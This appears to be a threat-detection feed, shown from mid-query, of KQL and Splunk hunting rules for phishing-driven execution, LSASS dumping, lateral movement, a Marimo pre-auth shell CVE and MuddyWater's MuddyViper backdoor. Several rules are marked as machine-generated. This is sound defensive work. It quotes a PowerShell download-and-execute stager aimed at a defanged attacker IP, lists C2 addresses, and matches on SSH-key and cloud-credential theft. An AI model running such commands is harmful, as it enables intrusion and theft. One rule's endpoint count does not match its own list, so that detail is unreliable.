| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2025-12-034 use cases0 techniques3 kill-chain phases detected
OpenPLC ScadaBR contains an unrestricted upload of file with dangerous type vulnerability that allows remote authenticated users to upload and execute arbitrary JSP files via view_edit.shtm. Vendor: OpenPLC, Product: ScadaBR. Federal patch due: 2025-12-24.
CVEsCVE-2021-26828
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2021-26828")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2021-26828")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] MuddyViper / CE-Notes / LP-Notes staging files and ManagerCache startup persistence
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] MuddyViper HTTP C2 beacon: WinHTTP example UA + distinctive URI paths on port 443
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
[LLM] MuddyViper HTTP C2 beacon: WinHTTP example UA + distinctive URI paths on port 443Command & ControlHigh
Hunts MuddyViper backdoor C2 over TLS/HTTP-on-443 by detecting its distinctive hard-coded User-Agent 'A WinHTTP Example Program/1.0' combined with the malware's six fixed GET endpoints (/adad, /aq36, /mq65, /oi32, /dadw, /dadwqa, /rq13) used for command retrieval, browser-data upload, reverse-shell output, and credential exfil. Designed to fire on this specific Iranian-state campaign rather than generic beaconing.
Rationale: The User-Agent 'A WinHTTP Example Program/1.0' is the unmodified SDK sample string, the six four-character URI tags are hard-coded in MuddyViper, and the C2 IP/domain set is published in ESET's IOC bundle — combination is essentially zero-FP outside this campaign.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/
• https://www.darkreading.com/cyberattacks-data-breaches/irans-muddywater-levels-up-muddyviper-backdoor
• https://securityaffairs.com/185244/apt/muddywater-strikes-israel-with-advanced-muddyviper-malware.html
• https://attack.mitre.org/groups/G0069/
ATT&CKT1071.001T1573.001T1041
Data sourcesWebNetwork_Traffic.All_Traffic
let muddyUris = dynamic(["/adad","/aq36","/mq65","/oi32","/dadw","/dadwqa","/rq13"]);
let muddyIps = dynamic(["3.95.7.142","35.175.224.64","51.16.209.105","62.106.66.112","157.20.182.45","161.35.172.55","167.99.224.13","194.11.246.78","194.11.246.101","206.71.149.51","212.232.22.136"]);
let muddyDomains = dynamic(["processplanet.org","api.tikavodot.co.il","magicallyday.com"]);
DeviceNetworkEvents
| where Timestamp > ago(45d)
| where RemotePort in (80,443)
| extend Path = tostring(parse_url(RemoteUrl).Path)
| where Path in (muddyUris) or RemoteIP in (muddyIps) or RemoteUrl has_any (muddyDomains)
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","opera.exe","brave.exe","outlook.exe","teams.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath, RemoteIP, RemotePort, RemoteUrl, Path, ActionType
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.http_user_agent="A WinHTTP Example Program/1.0" OR Web.url_path IN ("/adad","/aq36","/mq65","/oi32","/dadw","/dadwqa","/rq13") OR Web.dest IN ("processplanet.org","api.tikavodot.co.il","magicallyday.com","3.95.7.142","35.175.224.64","51.16.209.105","62.106.66.112","157.20.182.45","161.35.172.55","167.99.224.13","194.11.246.78","194.11.246.101","206.71.149.51","212.232.22.136")) by Web.src Web.dest Web.dest_port Web.url Web.url_path Web.http_user_agent Web.http_method | `drop_dm_object_name(Web)` | where http_user_agent="A WinHTTP Example Program/1.0" OR (url_path IN ("/adad","/aq36","/mq65","/oi32","/dadw","/dadwqa","/rq13") AND dest_port IN (80,443)) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] MuddyWater PowerShell IEX stager with 'filter_relational_operator_2' query parameterDeliveryHigh
Detects MuddyWater's plain-text PowerShell download cradle that fetches CE-Notes / next-stage content from a port-443-over-HTTP URL containing the highly atypical query parameter 'filter_relational_operator_2', then pipes the response into Invoke-Expression. Distinct from generic IEX-cradle rules due to the specific parameter name and -UseDefaultCredentials -UseBasicParsing combination.
Rationale: ESET reproduced the exact stager: 'powershell.exe (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression'. The query parameter name is unique to MuddyWater's loader and the HTTP-on-443 numeric path is a strong corroborating signal.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/
• https://therecord.media/iran-linked-hackers-target-israel-egypt-phishing
• https://attack.mitre.org/groups/G0069/
ATT&CKT1059.001T1105T1140
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(45d)
| where FileName =~ "powershell.exe" or ProcessCommandLine has_any ("powershell","pwsh")
| where ProcessCommandLine has "Invoke-WebRequest" and ProcessCommandLine has "Invoke-Expression"
| where ProcessCommandLine has "filter_relational_operator_2"
or (ProcessCommandLine has "-UseDefaultCredentials" and ProcessCommandLine has "-UseBasicParsing" and ProcessCommandLine matches regex @"https?://[^\s\"']+:443/\d+\?")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name="powershell.exe" AND Processes.process="*Invoke-WebRequest*" AND Processes.process="*Invoke-Expression*" AND (Processes.process="*filter_relational_operator_2*" OR (Processes.process="*-UseDefaultCredentials*" AND Processes.process="*-UseBasicParsing*" AND Processes.process="*:443/*?*")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts file writes that match MuddyWater's hard-coded staging artefacts (ce-notes.txt, lp-notes.txt, system2.dll, the PPBCompatCache\ManagerCache startup-folder relocation) and the 'ManageOnDriveUpdater' scheduled task used to relaunch MuddyViper. Catches the credential-theft and persistence stages even when the loader is renamed.
Rationale: The staging file names ce-notes.txt / lp-notes.txt, the relocation of the user Startup folder to '%LOCALAPPDATA%\Microsoft\Windows\PPBCompatCache\ManagerCache', and the scheduled-task name 'ManageOnDriveUpdater' are unique strings published in the ESET technical write-up — none are normal Windows artefacts and survive minor binary repacking.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/
• https://www.darkreading.com/threat-intelligence/muddywater-hackers-israeli-orgs-retro-game
• https://www.eset.com/us/about/newsroom/research/iran-muddywater-critical-infrastructure-israel-egypt-snake-game-eset-research/
ATT&CKT1547.001T1053.005T1555.003T1056.002
Data sourcesEndpoint.FilesystemEndpoint.RegistryEndpoint.Processes
let staging =
DeviceFileEvents
| where Timestamp > ago(60d)
| where (FileName in~ ("ce-notes.txt","lp-notes.txt") and FolderPath has @"\Users\Public\Downloads\")
or FolderPath has @"\Microsoft\Windows\PPBCompatCache\ManagerCache"
or FolderPath endswith @"\Users\Public\Downloads\system2.dll"
or FolderPath =~ @"C:\Intel\system.dll"
or FolderPath =~ @"C:\system2.dll"
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath, SHA1=InitiatingProcessSHA1;
let persistence =
DeviceProcessEvents
| where Timestamp > ago(60d)
| where (FileName =~ "schtasks.exe" and ProcessCommandLine has "ManageOnDriveUpdater")
or ProcessCommandLine has @"PPBCompatCache\ManagerCache"
| project Timestamp, DeviceName, ActionType="ProcessExec", FileName, FolderPath="", InitiatingProcessFileName, InitiatingProcessCommandLine=ProcessCommandLine, InitiatingProcessFolderPath=FolderPath, SHA1;
let regPersist =
DeviceRegistryEvents
| where Timestamp > ago(60d)
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
| where RegistryValueName =~ "Startup" and RegistryValueData has @"PPBCompatCache\ManagerCache"
| project Timestamp, DeviceName, ActionType=ActionType, FileName="", FolderPath=RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath, SHA1=InitiatingProcessSHA1;
union staging, persistence, regPersist
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name IN ("ce-notes.txt","lp-notes.txt") AND Filesystem.file_path="*\\Users\\Public\\Downloads\\*") OR Filesystem.file_path="*\\Microsoft\\Windows\\PPBCompatCache\\ManagerCache*" OR Filesystem.file_path="*\\Users\\Public\\Downloads\\system2.dll" OR Filesystem.file_path="C:\\Intel\\system.dll" OR Filesystem.file_path="C:\\system2.dll" by Filesystem.dest Filesystem.user Filesystem.process_name Filesystem.file_path Filesystem.file_name | `drop_dm_object_name(Filesystem)` | append [ | tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.process_name IN ("schtasks.exe","powershell.exe") AND (Processes.process="*ManageOnDriveUpdater*" OR Processes.process="*PPBCompatCache\\ManagerCache*") by Processes.dest Processes.user Processes.process_name Processes.process | `drop_dm_object_name(Processes)` ] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-024 use cases0 techniques3 kill-chain phases detected
Android Framework contains an unspecified vulnerability that allows for information disclosure. Vendor: Android, Product: Framework. Federal patch due: 2025-12-23.
CVEsCVE-2025-48633
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-48633")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-48633")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
